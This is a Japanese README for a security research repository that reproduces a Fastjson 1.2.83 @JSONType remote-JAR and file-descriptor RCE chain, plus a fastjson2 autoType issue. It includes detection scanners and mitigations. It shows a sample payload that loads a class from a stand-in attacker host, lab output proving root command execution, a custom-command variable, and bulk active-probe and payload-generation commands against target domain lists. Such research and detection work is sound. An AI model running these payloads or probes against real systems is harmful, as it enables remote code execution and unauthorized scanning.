Fastjson @JSONType リモートJAR/FDチェーン ラボと検出

このリポジトリには、現在2つの異なるFastjson調査トラックが保存されています：

• modern-fd/ は、Spring Boot 3、標準の組み込みTomcat、JDK 17上でのFastjson 1.2.83 シングルボディのリモートJAR/ファイルディスクリプタチェーンの、推奨されるマーカーのみの再現です。AutoTypeを無効にした状態で、リテラルな固定DTOシンク JSON.parseObject(body, BoundEnvelope.class) を使用します。
• 元のトップレベルDocker Composeラボは、以前のJDK 8ダイレクトリモートクラス経路を保存しています。これはコマンド実行が可能であり、モダンJDKの手法ではなく、レガシーで隔離された証明として扱うべきです。
• scanner/ には、パッシブなリクエスト/ログ検出、静的アーティファクトのインベントリ、および実行を伴わない到達可能性プローブが含まれています。

バグ: ParserConfig.checkAutoType は、getResourceAsStream(typeName.replace('.','/') + ".class") を実行することで、 すべての @type 値に @JSONType アノテーションがないかを調べます。 モダンなLinux/JDKの組み合わせでは、リモートの jar:http プローブが、開いたディスクリプタの背後にJARを キャッシュしたままにすることがあります。その後、同じボディ内の jar:file:/proc/self/fd/N プローブは、 有効なクラス名でそれを再度開き、アノテーション付きクラスを初期化できます。 正確な1.2.83の構成は、AutoType無効かつ List<Object> を含む固定DTOを介して機能します。 したがって、バインドだけでは緩和策になりません。完全なウォークスルー: docs/MECHANISM.md。

セキュリティレビューの調査結果

併設のプロジェクト全体レビューでは、Fastjson 1.2.83の本番Javaファイル全193個にわたり、2,041行の呼び出し可能/静的初期化子を対象としました。以下の表は、影響が最も大きい結果を優先順位付けしたものです。すべてのFastjsonデプロイメントが影響を受けるという主張ではありません。このリポジトリはF105を直接再現しています。残りのエントリは、別途実施した封緘ソースレビューと限定されたラボ証拠を要約したものです。

検証ラベル、前提条件、下位レベルの調査結果、修復の優先順位、明示的な否定的境界については、findings/FINDINGS.md を参照してください。

⚠️ 許可された用途のみ

このリポジトリは、所有している、または明示的にテストを許可されたシステムに対する教育、防御研究、および許可されたテストを目的としています。モダンラボの内部ネットワークでサポートされている場合、ホストの公開は 127.0.0.1 のみで行うよう要求されています。そのスクリプトは、テストをその隔離されたネットワーク内でのみ完全に実行します。モダンラボにはプロセス実行プリミティブはなく、固定のJVM内マーカーのみを設定します。レガシーJDK 8ラボは id を実行し、その出力を /tmp/PWNED に書き込みます。隔離したままにしてください。レガシーエクスプロイトやアクティブプローブを、許可されていないシステムに向けないでください。

自分の環境をスキャンする

scanner/ ディレクトリには、依存関係のないPython 3ツールが4つ同梱されています（pipインストール不要）。

• fjdetect.py — デコードされたJSONリクエストボディまたは構造化JSONログをパッシブに検査し、リモートJARシードおよび /proc/self/fd や /dev/fd のシーケンスを探します。
• fjscan_static.py — 脆弱な組み合わせ（コンテンツベースでメタデータ検証済みの1.2.83 × 実際のSpring Bootローダークラスコンテンツ）についてjars/wars/earsをインベントリ化します。プローブを含む1.2.48〜1.2.82リリースと、メタデータ/ファイル名のみの候補は、レビューのために別途報告されます。CIゲートに適しています（EXPOSED の場合は終了コード2）。
• fjscan_probe.py — アクティブで安全な到達可能性チェック: 制御下にあるカナリー（組み込みリスナーまたはBurp Collaborator / interactsh）に対して @type を発射し、リソース取得コールバックを関連付けます。組み込みリスナーは空の404を返します。外部リスナーも同等に設定してください。コールバックはクラス読み込みやRCEを証明するものではありません。
• fjpayload.py — 手動テスト用のリモートリソース取得ボディを生成します。実行を意図しない場合は、空/404リスナーのみを使用してください。

# 1) passive request/log inspection
python3 scanner/fjdetect.py --ndjson gateway.jsonl

# 2) inventory build artifacts / unpacked images (parallel)
python3 scanner/fjscan_static.py /path/to/artifacts --threads 16

# 3) active probe across many domains — simplest: --auto fires baseline + plain + escaped comparison
#    DNS probes per target and prints a rollup; DNS callbacks land in your Burp Collaborator
python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets domains.txt --threads 50
cat domains.txt | python3 scanner/fjscan_probe.py --collaborator <sub>.oastify.com --auto --targets -

# 4) bulk fetch payloads for manual testing (one per domain, stable correlation token)
python3 scanner/fjpayload.py <collab-or-ip> --targets-file domains.txt

domains.txt = 1行に1ターゲット — 完全な [METHOD ]URL またはベアドメイン（--scheme / --target-port / --path で展開される）; # コメントは許可されます:

api.internal.example
POST https://svc.example/v1/ingest
10.0.0.7:8080

オプション

fjscan_probe.py（アクティブプローブ）

fjscan_static.py（インベントリ）: <paths…> · --threads N（デフォルト 8）· --json（マシン出力。いずれかが EXPOSED の場合、終了コード 2）。

fjpayload.py（ジェネレータ）: <collaborator> · --targets-file/-f <file\|->（一括）· --port · --token · --wrap · --entry。

Collaboratorに関する注意: @JSONType の jar: シンクは typeName.replace('.','/') を実行するため、ホスト内の すべてのドットがスラッシュになります。ドット付きのBurp Collaboratorサブドメイン（abc.oastify.com）はそれを介して 配信できません（ツールは整数IP + URLパストークンにフォールバックします）。パブリックCollaboratorへのコールバックを 取得するには、--probe-type dns を使用してください。java.net.Inet4Address プリミティブはドット付きホストを 受け入れ、DNSインタラクション（<tok>.<sub>.oastify.com）を発火させ、Inet4Address パースプリミティブ + イーグレスを 確認します。これは前提条件の証拠であり、リモートJAR/FD終端の証明ではありません。scanner/README.md を参照してください。

マーカーのみのモダンJDKラボ（推奨）

要件: Docker + Docker Compose、および初回ビルド時にMaven Centralへのアウトバウンドアクセス（fastjson / spring-boot-loader / asmを取得するため）。

cd modern-fd
./scripts/static-safety-check.sh
./scripts/run-positive.sh
./scripts/run-controls.sh

ポジティブケースは、通常の組み込みTomcatリクエストスレッドに1つのボディを送信します。そのリテラルシンクは final BoundEnvelope parsed = JSON.parseObject(body, BoundEnvelope.class) です。成功条件は、固定プロパティとログトークン FASTJSON_MODERN_FD_MARKER=fastjson-modern-fd-marker-v1 のみです。レスポンスは引き続き、通常どおりバインドされた BoundEnvelope を返します。エビデンスディレクトリには、リクエスト、レスポンス、コンテナメタデータ、ログ、SHA-256マニフェストが含まれます。

コントロールは、通常のJSON、シードなしのFD候補、不可能なディスクリプタが続くシード、SafeModeを対象としています。modern-fd/README.md を参照してください。

FearsOffの開示は、プロセス永続キャッシュとリクエストごとに1つのFD候補を使用して、JDK 21で同じ保持JAR終端を示しています。このリポジトリのモダンラボは代わりに、シングルボディのJDK 17構成を再現します。フェイルソフトシードと制限付きFD候補は、1つの固定DTOリクエストで運ばれます。JDK 21は引き続き外部報告のみであり、ここで生成されたランタイム結果ではありません。

レガシーJDK 8ダイレクトクラスラボ

元のトップレベルComposeプロジェクトは、以前のワンステージ経路を再現するために引き続き利用できます。modern-fd/ とは異なり、コマンド実行が可能であり、隔離されたラボ内でのみ実行してください：

make up
make exploit
make down

期待される make exploit の出力:

[*] payload : {"@type":"jar:http:..attacker:8000.probe!.POC","x":1}
[*] response: {"ok":false,"error":"ClassCastException"}     <- RCE already fired, THEN the cast
[*] PROOF — command output captured inside the TARGET container (/tmp/PWNED):
------------------------------------------------------------------
uid=0(root) gid=0(root) groups=0(root)
RCE_via_fastjson_JSONType
------------------------------------------------------------------

ClassCastException は、バインドが緩和策ではないことを示すサインです。攻撃者クラスは、fastjsonがそれを Dto にキャストしようとする前に、@type プローブ中に <clinit> を実行します。

レガシーレーンのバリエーション

• ダイレクトクラスレーンのみ: target/Dockerfile をJDK 17に変更すると、このレガシーな細工された名前の定義がブロックされ、フェッチだけが残ります。その結果は、modern-fd/ 内の別個の /proc/self/fd 継続をテストも緩和もしません。
• autoTypeではないことの証明: ターゲットは setAutoTypeSupport(true) を決して呼び出しません。http://127.0.0.1:8080/ のバナーを確認してください。
• カスタムコマンド: PWN_CMD='touch /tmp/i_was_here' docker compose up -d --build attacker。

リポジトリ構成

緩和策

通常のハンドラーフリー経路で -Dfastjson.parser.safeMode=true を有効にするか、即時の移行が不可能な場合はベンダーの com.alibaba:fastjson:1.2.83_noneautotype ビルドを使用し、インストールされている AutoTypeCheckHandler を監査してください。JVMのイーグレスを制限し、信頼できないパースをFastjson 1.xから移行し、デコードされた @type リモートJARシードと /proc/self/fd または /dev/fd の候補について、単一リクエスト内およびリクエスト間の相関の両方でアラートを発報してください。DTOバインドとJDK 9+は、モダンな構成に対する完全な緩和策ではありません。

fastjson2 — デフォルト設定における別の問題

fastjson2/ は2つ目の独立したラボです。fastjson2にはfastjson 1.xの @JSONType リソースプローブは含まれていません。ただし、パース経路がポリモーフィック型を伴う場合は常に、攻撃者が制御する @type がautoType無効の状態で ClassLoader.loadClass() に到達することを許可します。これは、ObjectReaderSeeAlso のコンストラクタが SupportAutoType をハードコードしており、seeAlsoの不一致が、代入可能性チェックとDataSource/RowSetチェックが実行される前に完全なautoType解決へフォールスルーするためです。

トリガーは通常のモデリングアノテーションです — @JSONType(seeAlso=)、Jackson @JsonSubTypes（useJacksonAnnotation がデフォルトでtrueのため尊重されます）、@JsonTypeInfo、sealed型。Spring Bootのfat jarでは、コンテキストクラスローダーが jar:http: 名を解決するため、クラスがネットワークから取得され、その静的初期化子が実行されます。

fastjson2 2.0.62（最新リリース）および2.0.57で、JDK 8上で再現されました。safeMode=true はこれをブロックします。JDK 17ではSSRFにダウングレードされます。autoTypeFilter(...) は保護しません。Chaitin（长亭） により開示されました（~2026-07-25）— これはこのリポジトリの調査結果ではありません。メンテナは、型名の : と ! を拒否する PR #7703（クローズされた #7695 を置き換え）でハードニング作業を進めています。リリース済みのいずれのバージョンにも含まれていません — 2.0.62は両方より前のバージョンです。

make fj2-safety     # prove the payload is marker-only
make fj2-positive   # default config -> remote class defined + initialised
make fj2-controls   # plain parse / safeMode / JDK 17 / Jackson-only model / allowlist

クレジットと参考文献

• 元の開示と技術記事: Kirill Firsov（@k_firsov、FearsOff）— FastJson 1.2.83 Remote Code Execution（2026年7月21日）。ここで再現されたものと同じJDK 8ダイレクトクラスおよびモダンな保持JAR /proc/self/fd のメカニズムを開示しています。
• メンテナによるセキュリティアドバイザリ: Alibaba — Security Advisory: Remote Code Execution in fastjson 1.2.68–1.2.83。型付きAPIの到達可能性と、Spring Boot 2.x〜4.xおよびJDK 8/11/17/21にわたる検証を報告しています。これらのより広範なバージョン/ランタイムマトリクスはアップストリーム報告によるものです。このリポジトリのランタイム証明は、文書化されたJDK 8およびJDK 17レーン上のFastjson 1.2.83のままです。
• 公開されている概念実証と @JSONType / jar-URL内部名テクニック: @wouijvziqy — https://github.com/wouijvziqy/Fastjson-JsonType-RCE-PoC。attacker/Gen.java は、このラボ向けにそのテクニックを再実装しています。
• モダンJDK FDチェーンに関する報告: WeChatの記事と以前の詳細なCnyesレポートが、保持JAR /proc/self/fd 仮説を提供しました。これらは外部報告として扱われ、独立したランタイム証明としては扱われませんでした。
• 公開されているLinux FD実装: DmTomHL/fastjson-1.2.83-gadget-rce が再現のギャップを縮小しました。そのコマンド実行可能なコードは静的レビューのみが行われ、実行はされませんでした。modern-fd/ は、独自に作成されたマーカーのみのクラスと通常の固定DTO Tomcatエンドポイントを使用しています。
• fastjson2 autoTypeの開示: Chaitin（长亭）、~2026-07-25。fastjson2/ ラボは、この開示の独立した再現であり、このリポジトリの独自の調査結果ではありません。追跡スレッド: （ユーザー により開設）; メンテナによるハードニングは / クローズ済み 。

このラボと scanner/ ツールは、これらの調査結果を再現可能なテストベッドと防御チェックにパッケージ化しています。上記の研究者とは提携しておらず、その推薦を受けたものでもありません。